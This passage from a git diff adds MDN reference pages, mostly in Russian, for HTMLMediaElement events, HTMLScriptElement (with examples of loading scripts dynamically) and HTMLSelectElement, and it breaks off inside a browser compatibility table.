+ <dd>Этот метод, доступный только в реализации Mozilla, загружает данные из другого медиа-элемента. Это работает аналогично load () за исключением того, что вместо обычного алгоритма выбора ресурса для источника просто устанавливается значение currentSrc другого элемента. Это оптимизировано, так что этот элемент получает доступ ко всем кэшированным и буферизованным данным другого элемента; фактически эти два элемента совместно используют загруженные данные, поэтому данные, загруженные любым из этих элементов, доступны обоим.</dd>
+</dl>
+
+<h2 id="События">События </h2>
+
+<p><em>Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определенного в миксине {{domxref ('GlobalEventHandlers')}}. Прослушайте эти события, используя addEventListener () или назначив прослушиватель событий свойству oneventname этого интерфейса.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt>
+ <dd>Срабатывает, когда ресурс загружен не полностью, но не в результате ошибки.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</dt>
+ <dd>Запускается, когда пользовательский агент может воспроизводить мультимедиа, но оценивает, что загружено недостаточно данных для воспроизведения мультимедиа до его конца без необходимости остановки для дальнейшей буферизации контента.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</dt>
+ <dd>Запускается, когда пользовательский агент может воспроизводить мультимедиа, и оценивает, что было загружено достаточно данных для воспроизведения мультимедиа до его конца, без необходимости остановки для дальнейшей буферизации контента.</dd>
+ <dt>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</dt>
+ <dd>Запускается, когда атрибут продолжительности был обновлен.</dd>
+ <dt>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</dt>
+ <dd>Запускается, когда носитель становится пустым; например, когда носитель уже загружен (или частично загружен), и для его перезагрузки вызывается метод {{domxref ("HTMLMediaElement.load ()")}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</dt>
+ <dd>Срабатывает, когда воспроизведение останавливается, когда достигнут конец носителя (&lt;audio&gt; или &lt;video&gt;) или если дальнейшие данные недоступны.</dd>
+ <dt>{{domxref("HTMLMediaElement.error_event", 'error')}}</dt>
+ <dd>Срабатывает, когда ресурс не может быть загружен из-за ошибки.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</dt>
+ <dd>Запускается, когда первый кадр носителя завершил загрузку.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</dt>
+ <dd>Запускается, когда метаданные были загружены</dd>
+ <dt>{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}</dt>
+ <dd>Запускается, когда браузер начал загружать ресурс.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</dt>
+ <dd>Вызывается, когда обрабатывается запрос на приостановку воспроизведения, и действие переходит в состояние паузы, чаще всего это происходит, когда вызывается медиа {{domxref ("HTMLMediaElement.pause ()")}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.play_event", 'play')}}</dt>
+ <dd>Срабатывает, когда свойство paused изменяется с true на false, в результате использования метода {{domxref ("HTMLMediaElement.play ()")}} или атрибута autoplay</dd>
+ <dt>{{domxref("HTMLMediaElement.playing_event", "playing")}}</dt>
+ <dd>Запускается, когда воспроизведение готово начать после приостановки или задержки из-за отсутствия данных.</dd>
+ <dt>{{domxref("HTMLMediaElement.progress_event", "progress")}}</dt>
+ <dd>Периодически запускается, когда браузер загружает ресурс.</dd>
+ <dt>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</dt>
+ <dd>Запускается, когда скорость воспроизведения изменилась.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}</dt>
+ <dd>Запускается, когда скорость воспроизведения изменилась.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</dt>
+ <dd>Запускается, когда начинается операция поиска</dd>
+ <dt>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</dt>
+ <dd>Запускается, когда пользовательский агент пытается извлечь данные мультимедиа, но данные неожиданно не поступают.</dd>
+ <dt>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</dt>
+ <dd>Запускается, когда загрузка медиа-данных была приостановлена.</dd>
+ <dt>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</dt>
+ <dd>Запускается, когда время, указанное атрибутом currentTime, было обновлено.</dd>
+ <dt>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</dt>
+ <dd>Запускается при изменении громкости.</dd>
+ <dt>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</dt>
+ <dd>Срабатывает, когда воспроизведение остановлено из-за временной нехватки данных</dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Добавляет <code>sinkId</code> и <code>setSinkId()</code>, и <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+   <td>{{Spec2('EME')}}</td>
+   <td>Добавляет {{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, и {{domxref("onwaitingforkey")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений {{SpecName ('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Рекомендации
+  <ul>
+   <li>{{HTMLElement("video")}} и {{HTMLElement("audio")}} HTML элементы.</li>
+   <li>{{domxref("HTMLVideoElement")}} и {{domxref("HTMLAudioElement")}} интерфейсы, полученные из HTMLMediaElement.</li>
+  </ul>
+ </li>
+ <li>Статьи
+  <ul>
+   <li><a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Использование HTML5 аудио и видео</a></li>
+   <li><a class="internal" href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Медиа форматы, поддерживаемые аудио и видео элементами</a></li>
+   <li><a href="/en-US/docs/Web_Audio_API">API веб-аудио</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/htmlscriptelement/index.html b/files/ru/web/api/htmlscriptelement/index.html
new file mode 100644
index 0000000000..064a078e7f
--- /dev/null
+++ b/files/ru/web/api/htmlscriptelement/index.html
@@ -0,0 +1,190 @@
+---
+title: HTMLScriptElement
+slug: Web/API/HTMLScriptElement
+translation_of: Web/API/HTMLScriptElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">HTML-элементы {{HTMLElement("script")}} предоставляют <strong><code>HTMLScriptElement</code></strong> интерфейс, который предоставляет специальные свойства и методы для манипулирования поведением и выполнением <code>&lt;script&gt;</code> элементов (за пределами унаследованного {{domxref("HTMLElement")}} интерфейса).</span></p>
+
+<p>JavaScript файлы должны обслуживаться с  <code>application/javascript</code> <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, но браузеры снисходительны и блокируют их только, если скрипты обслуживаются с типом изображение (<code>image/*</code>), типом видео (<code>video/*</code>), типом аудио (<code>audio/*</code>), или <code>text/csv</code>. Если скрипт заблокирован, его элемент получает событие {{event("error")}}; в противном случае, он получает событие {{event("success")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Имя</th>
+   <th>Тип</th>
+   <th>Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code id="type_property">type</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Представляет тип MIME сценария. Он отражает атрибут {{htmlattrxref("type","script")}}.</td>
+  </tr>
+  <tr>
+   <td><code id="src_property">src</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Получает и отдает URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.</td>
+  </tr>
+  <tr>
+   <td><code id="event_property">event</code>{{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Старый, способ регистрации обработчиков событий на элементы в HTML-документе.</td>
+  </tr>
+  <tr>
+   <td><code id="charset_property">charset</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Представляет кодировку символов внешнего скрипта. Он отражает атрибут {{htmlattrxref("charset","script")}}.</td>
+  </tr>
+  <tr>
+   <td><code id="async_property">async</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td rowspan="2">
+    <p>Атрибуты <code>async</code> и <code>defer</code> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">булевы</a> атрибуты, которые контролируют как скрипт должен выполняться. <strong>Атрибуты <code>defer</code> и <code>async</code> не должны быть указаны, если атрибут <code>src</code> отсутствует.</strong></p>
+
+    <p>Существует три возможных режима выполнения:</p>
+
+    <ol>
+     <li>Если атрибут <code>async</code> представлен, то скрипт будет выполняться асинхронно по мере загрузки.</li>
+     <li>Если атрибут <code>async</code> отсутствует, но представлен атрибут <code>defer</code>, то скрипт будет выполняться когда <a href="/en-US/docs/Web/Events/DOMContentLoaded">страница полностью загружена</a>.</li>
+     <li>Если ни один атрибут не представлен, то скрипт извлекается и выполняется незамедлительно, блокируя дальнейший парсинг страницы.</li>
+    </ol>
+
+    <p>Атрибут <code>defer</code> может быть указан с атрибутом <code>async</code>, тогда устаревшие браузеры, которые поддерживают только <code>defer</code> (но не <code>async</code>) откатятся к поведению <code>defer</code> взамен дефолтного поведения блокировки.</p>
+
+    <div class="note"><strong>Примечание:</strong> Точные детали обработки для этих атрибутов комплексны, включая множество различных аспектов HTML, и разбросаны по всей спецификации. <a href="http://www.w3.org/html/wg/drafts/html/master/scripting-1.html#prepare-a-script">Эти алгоритмы</a> описывают основную идею, но они основаны на правилах синтаксического анализа для {{HTMLElement("script")}} <a href="http://www.w3.org/html/wg/drafts/html/master/syntax.html#scriptTag">открывающих</a> и <a href="http://www.w3.org/html/wg/drafts/html/master/syntax.html#scriptEndTag">закрывающих</a> тэгах в HTML, <a href="http://www.w3.org/html/wg/drafts/html/master/syntax.html#scriptForeignEndTag">во внешнем контенте</a>, и в<a href="http://www.w3.org/html/wg/drafts/html/master/the-xhtml-syntax.html#scriptTagXML"> XML</a>; правиле для метода  <a href="/en-US/docs/DOM/document.write"><code>document.write()</code></a>; обработке <a href="http://www.w3.org/html/wg/drafts/html/master/webappapis.html#scripting">сценариев</a>; и так далее.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code id="defer_property">defer</code></td>
+   <td>{{domxref("Boolean")}}</td>
+  </tr>
+  <tr>
+   <td><code id="crossOrigin_property">crossOrigin </code>{{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>{{domxref("DOMString")}}, отражающий <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">настройку CORS </a>для элементов скрипта. Для скриптов из других <a href="/en-US/docs/Glossary/Origin">источников</a>, он контролирует, будет ли раскрыта информация об ошибке.</td>
+  </tr>
+  <tr>
+   <td><code id="text_property">text</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>IDL атрибут <code>text</code> объединяет и возвращает содержимое всех <a href="/en-US/docs/DOM/Text"><code>Text</code> нод</a> внутри элемента {{HTMLElement("script")}} (игнорируя другие ноды, такие как комментарии) в древовидном порядке. При установке, он  действует также, как и IDL атрибут <a href="/en-US/docs/DOM/Node.textContent"><code>textContent</code></a>.</p>
+
+    <div class="note"><strong>Примечание:</strong> При вставке с использованием метода <a href="/en-US/docs/DOM/document.write"><code>document.write()</code></a>, элементы {{HTMLElement("script")}} выполняются (обычно синхронно), когда при вставке используются <a href="/en-US/docs/DOM/element.innerHTML"><code>innerHTML</code></a> или <a href="/en-US/docs/DOM/element.outerHTML"><code>outerHTML</code></a>, они вообще не выполняются.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>noModule</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Это булево свойство выполняет остановку выполнения скрипта в браузере, поддерживающим <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES2015 модули</a> — используется для запуска резервных скриптов, которые не поддерживают JavaScript модули.</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>{{domxref("DOMString")}}, который отражает HTML атрибут {{htmlattrxref("referrerPolicy", "script")}} указывающий, какой реферер использовать при извлечении скриптов и выборках, выполненных сценариев.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специальных методов; наследует методы от родителей, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Динамическое_импортирование_скриптов">Динамическое импортирование скриптов</h3>
+
+<p>Давайте создадим функцию. которая импортирует новый скрипт в документ, создавая ноду {{HTMLElement("script")}} <em>непосредственно перед</em> {{HTMLElement("script")}}, в котором размещается следующий код (через {{domxref("document.currentScript")}}). Эти скрипты будут выполняться <strong>асинхронно</strong>. Для получения пдробной информации смотрите свойства <a href="#defer_property"><code>defer</code></a> и <a href="#async_property"><code>async</code></a>.</p>
+
+<pre class="brush: js">function loadError(oError) {
+  throw new URIError("The script " + oError.target.src + " didn't load correctly.");
+}
+
+function prefixScript(url, onloadFunction) {
+  var newScript = document.createElement("script");
+  newScript.onerror = loadError;
+  if (onloadFunction) { newScript.onload = onloadFunction; }
+  document.currentScript.parentNode.insertBefore(newScript, document.currentScript);
+  newScript.src = url;
+}</pre>
+
+<p>Следующая функция, вместо добавления новых скриптов непосредственно перед элементом {{domxref("document.currentScript")}}, добавляет их как потомков тега {{HTMLElement("head")}}.</p>
+
+<pre class="brush: js">function loadError(oError) {
+  throw new URIError("The script " + oError.target.src + " didn't load correctly.");
+}
+
+function affixScriptToHead(url, onloadFunction) {
+  var newScript = document.createElement("script");
+  newScript.onerror = loadError;
+  if (onloadFunction) { newScript.onload = onloadFunction; }
+  document.head.appendChild(newScript);
+  newScript.src = url;
+}
+</pre>
+
+<p>Простое использование:</p>
+
+<pre class="brush: js">affixScriptToHead("myScript1.js");
+affixScriptToHead("myScript2.js", function () { alert("The script \"myScript2.js\" has been correctly loaded."); });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlscriptelement", "HTMLScriptElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-script-element", "HTMLScriptElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-script-element", "HTMLScriptElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Следующие свойства устарели: <code>htmlFor,</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-81598695', 'HTMLScriptElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Нет изменений в сравнении с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-81598695', 'HTMLScriptElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLScriptElement")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML-элемент {{HTMLElement("script")}}</li>
+ <li>HTML-элемент {{HTMLElement("noscript")}}</li>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="/en-US/docs/DOM/Using_web_workers">Web Workers</a> (<span class="tlid-translation translation" lang="ru"><span title="">фрагменты кода, похожие на скрипты, но выполняемые в другом глобальном контексте)</span></span></li>
+ <li><a href="http://pieisgood.org/test/script-link-events/">Ryan Grove's &lt;script&gt; and &lt;link&gt; node event compatibility chart</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlselectelement/index.html b/files/ru/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..1398bc4566
--- /dev/null
+++ b/files/ru/web/api/htmlselectelement/index.html
@@ -0,0 +1,376 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p>
+
+<h2 id="Properties"> Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.autofocus", "autofocus")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.disabled", "disabled")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.form", "form")}} {{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>Returns the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.labels", "labels")}} {{readonlyInline}}</td>
+   <td>{{domxref("NodeList")}}</td>
+   <td>Returns a list of label elements associated with this select element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.length", "length")}}</td>
+   <td><code>unsigned long</code></td>
+   <td>The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.multiple", "multiple")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.name", "name")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.options", "options")}} {{readonlyInline}}</td>
+   <td>{{domxref("HTMLOptionsCollection")}}</td>
+   <td>The set of {{HTMLElement("option")}} elements contained by this element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.required", "required")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.selectedIndex", "selectedIndex")}}</td>
+   <td><code>long</code></td>
+   <td>Reflects the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.selectedOptions", "selectedOptions")}} {{readonlyInline}}</td>
+   <td>{{domxref("HTMLCollection")}}</td>
+   <td>Set of options that are selected.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.size", "size")}}</td>
+   <td><code>long</code></td>
+   <td>Reflects the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is true, in which case it is 4.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.type", "type")}} {{readonlyInline}}</td>
+   <td><br>
+    {{domxref("DOMString")}}</td>
+   <td>The form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.validationMessage", "validationMessage")}} {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.validity", "validity")}} {{readonlyInline}}</td>
+   <td>{{domxref("ValidityState")}}</td>
+   <td>The validity state that this control is in.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.value", "value")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The value of the form control (the first selected option).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.willValidate", "willValidate")}}{{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.add()", "add()")}}</td>
+   <td>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</td>
+  </tr>
+  <tr>
+   <td>blur() {{obsolete_inline}}</td>
+   <td>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.checkValidity()", "checkValidity()")}}</td>
+   <td>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{event("invalid")}} event at the element (and returns <code>false</code>).</td>
+  </tr>
+  <tr>
+   <td>focus() {{obsolete_inline}}</td>
+   <td>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.item()", "item()")}}</td>
+   <td>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.namedItem()", "namedItem()")}}</td>
+   <td>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.remove()", "remove()")}}</td>
+   <td>Removes the element at the specified index from the options collection for this select element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.setCustomValidity()", "setCustomValidity()")}}</td>
+   <td>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+    &lt;option&gt;First&lt;/option&gt;
+    &lt;option selected&gt;Second&lt;/option&gt;
+    &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{event("change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/Events/change#Example_Change_event_on_a_select">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+    It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+    The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+    The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+    <code>length</code> now returns an <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}} <sup>[2]</sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>8<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
